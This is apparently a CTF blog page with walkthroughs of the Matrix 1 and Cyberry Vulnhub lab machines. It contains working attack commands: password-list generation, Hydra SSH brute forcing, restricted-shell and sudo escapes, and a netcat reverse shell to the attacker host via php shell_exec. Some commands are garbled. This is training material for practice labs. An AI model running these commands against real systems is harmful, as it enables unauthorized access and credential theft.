Hack The Box: Sniper Walk through

Hack The Box: Sniper Walkthrough

By 130n@calvinlai.com

Hack The Box: JSON Walkthrough

By 130n@calvinlai.com

Hack The Box: Heist Walkthrough

credit to a Hong Kong & Macau CTF playgroup

Tempus fugit2 Vulnhub Walkthrough

SOLVING Tempus fugit2 VULNHUB 

credit to a Hong Kong & Macau CTF playgroup

SOLVING THE Ai-Web 2 VULNHUB

SOLVING THE Ai-Web 2 VULNHUB 

with the support of a Hong Kong & Macau CTF playgroup

SOLVING THE DC-7 VULNHUB 

credit to a Hong Kong & Macau CTF playgroup

SOLVING THE AiWeb-1 VULNHUB 

credit to a Hong Kong & Macau CTF playgroup

with the support of  teru, 2hout!, fkclai

SOLVING THE DPWWN -1 VULNHUB 

Author: fkclai

SOLVING THE CLAMP VULNHUB version 1.0.1

credit to a Hong Kong & Macau CTF playgroup
Author: teru, ausldavid, 2hout!,@S0ra, fkclai

Official document : https://bit.ly/2LSz1GX

Solve the Matrix 1 Vulnhub in 13 Steps

This article is going to walk through the step I used to solve the Matrix 1 vulnerable VMs that can be download at the https://www.vulnhub.com/entry/matrix-1,259/

The objective of the game

Get the root access and read the file /root/flag.txt

Tools used on this game

• Kali 64bits (192.168.187.135)
• netdiscover
• NMAP
• Python
• Hydra
• crunch 

Game Setup

1) Downloaded the Matrix at VulnHub to start the game using any VM client.  The VMware Workstation  15 was used for this walkthrough.

Information Gathering

2) Used nmap or netdiscover to find the target machine IP address

3)  Gathered some information about the target machine

Two HTTP server were setup and a SSH was enabled.

4) Checked the webpage http://192.168.187.130:31337 and http://192.168.187.139/

5) Viewed the source code of those page and found

decode the base64 message

echo "Then you'll see, that it is not the spoon that bends, it is only yourself. " > Cypher.matrix

5) Download the Cypher.matrix

http://192.168.187.130:31337/Cypher.matrix

6) It was a brain-fuck encoded strings and decoded it online using https://www.dcode.fr/brainfuck-language , the result was 

You can enter into matrix as guest, with password k1ll0rXX

Note: Actually, I forget last two characters so I have replaced with XX try your luck and find correct string of password.

7)  Generating the password file by crunch or python

Crunch

crunch 8 8 -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space -t k1ll0r@@ -o password.txt

Python

(source: https://github.com/fkclai/CTF/blob/master/genPass.py)

import itertools

import os

import string

charset = string.ascii_letters + string.digits

passwordPre = 'k1ll0r'

passwordFile =open('passwords.txt','w')

string =''

for (a,b) in itertools.product(charset,repeat=2):

string += passwordPre +a +b +'\n'

passwordFile.write(string)

passwordFile.close()

8) After got the password file, try to  buteforce the SSH using hydra

hydra -l guest -P password.txt 192.168.187.130 -t 16 ssh

The password was found k1ll0r7n

Get the ACCESS

9)  SSH login using the guest account

It was found that there was a restricted shell rbash

10) After checked there was two ways to break the rbash

Method One

Using ssh guest@192.168.187.130 "python -c 'import pty; pty.spawn(\"/bin/bash\")'"

Method Two

as found that the vi common didn't restricted, thus, we can

After got the bash, update the environment $SHELL

Privilege Escalation
11) Checked the sudo can be used 

12) sudo to root access , which password was the guest's password 

13) I was root now, read the /root/flag.txt

FINISHED, DONE!

Solve the Cyberry Vulnhub in 36 Steps

This article is going to walk through the step I used to solve the Cyberry vulnerable VMs that can be download at the https://www.vulnhub.com/entry/cyberry-1,217/

Tools used on this game

• Kali 64bits (192.168.187.135)
• netdiscover
• NMAP
• Python
• Knock
• Nikto
• Hydra
• Netcat
• crunch 

1) Downloaded the Cyberry at VulnHub to start the game using any VM client.  The VMware Workstation  15 was used for this walk through.

2)  First of all, we need to find out the target Cyberry machine address, we can use a Linux commend netdiscover

or using another Linux commend nmap -sn 192.168.187.1/24 



3) Got the basic information about the server using nmap -sV 192.168.187.129

4) An Apache webserver was found and visited this web site

5) Viewed the source code and find base64 encode text, tried to decode it but nothing to see

   decode the text using Linux commend 

 decode the 10101  using the following script and found that a image file boss.gif, but nothing inside.

6) Quick checked any vulnerability in the site by using nikto

     
     A login page was found , but, SQL injection or other injection technique cannot apply to this login page

7) View the source code of this login page and see and another page in the website 

     Visit the http://192.168.187.129/berrypedia.html

8) View the source view-source: http://192.168.187.129/berrypedia.html  and a image file name  is some different placeho1der.jpg

Download the image 

9) Don’t know how to do it on this image

Google the solution

After googled, these four guys are famous singers in US, they all sang the same song “I hear you knocking” and the release date of the song are 1970 1955 1955 1961. 

It may be the Port Knock applied on the server

10) Install the Knock apt-get install knockd and try to knock the port

11) Scanned all port of the target machine by using nmap -p – again after knock, alternatively, other than using "knock" command,  a simple python program prepared for knocking the port

or using the knock Linux command as below, if you cannot unknock the port, restart the Cyberry 

A new high port was found 61955

12) Assessed the “new” found website and search anything inside

13) Get some idea here http://192.168.187.129:61955/H, we open it and find brain-fuck encoded strings

14) This is brainfuck encoded text, using online decoder to decode it such as https://www.dcode.fr/brainfuck-language and the result was 

team members

chuck

halle

nick

terry

mary

kerry

pw: bakeoff

15) Using this information to logon the previous found the login page, but did not work. 

16) Try to login with FTP or SSH as the port was open, using Hydra to try 

17) FTP using "mary" account 

18) After login using marry account, reminder.enc file was found which was protected by openssl with salt password. On the same time, the .trash file contained some common password "marry" used

19) try to unlocked the .reminder.enc file 

for i in $(openssl enc -ciphers | tail -n +2);

                do for j in $(cat opensslPass.txt);

                                do openssl ${i:1} -d -salt -md md5 -in reminder.enc -out "dec$i$j" -k $j;

                done;

done 2>/dev/null

20) Got the file, as one of the decrypted file return in ASCII format

21) Try to using this login on previous found page, after several try the credential was [mary:dangleberry69]

22) Find a page on visiting the "ub3r-s3cur3 section" link which look have a command injection loophole

23) Tried to do the commend injection using brute, start the netcat server at my Kali. 

 Finally the remote shell connection established.

24) Using python to gain the reverse shell import pty;pty.spawn("/bin/bash")'

25) check the available file in the directory and found there was a readable file

26)User Python SHH Brute Forcer and using this password file with the user list pervious found.
https://github.com/R4stl1n/SSH-Brute-Forcer

python SSHBruteForce.py -i 192.168.187.129 -d True -p 2222 -U ./usernames.txt -P ./passwords.txt -t 15 -T 30

Or we can use hyrda 

hydra -L user.txt -P password.txt -f ssh://192.168.187.129

27) SSH to the target using "nick" and go around on his home directory, found that the invoke.sh cannot be access, but it can be sudo to terry to access.

28) Try to sudo Terry account to access the invoke.sh

29) read the invoke.sh now, but nothing special inside. Try again any other account can be sudo

 30) halle can be sudo on awk, let try to escape the shell -> sudo 0 u halle awk 'BEGIN { system("/bin/sh") }'"/bin/sh")}'

31) Check the sudo list again and found user “chuck”

32) PHP can also be escaped.......

Setup the netcat channel at my kali

Run shell script 

sudo -u chuck /usr/bin/php -r 'shell_exec("/bin/nc 192.168.187.136 443 -e /bin/bash");'

Got the shell

sudo -l  does not work this time

33)  Check home directory of chuck

Found a email, the answer was there....... 

34) Started at “che”, end with “rry”, “baca” in between and the total length of the password was 15. Using the crunch to generate all possible value

 35) Using Hydra again to check the root password

 36) I got it

The Answer.....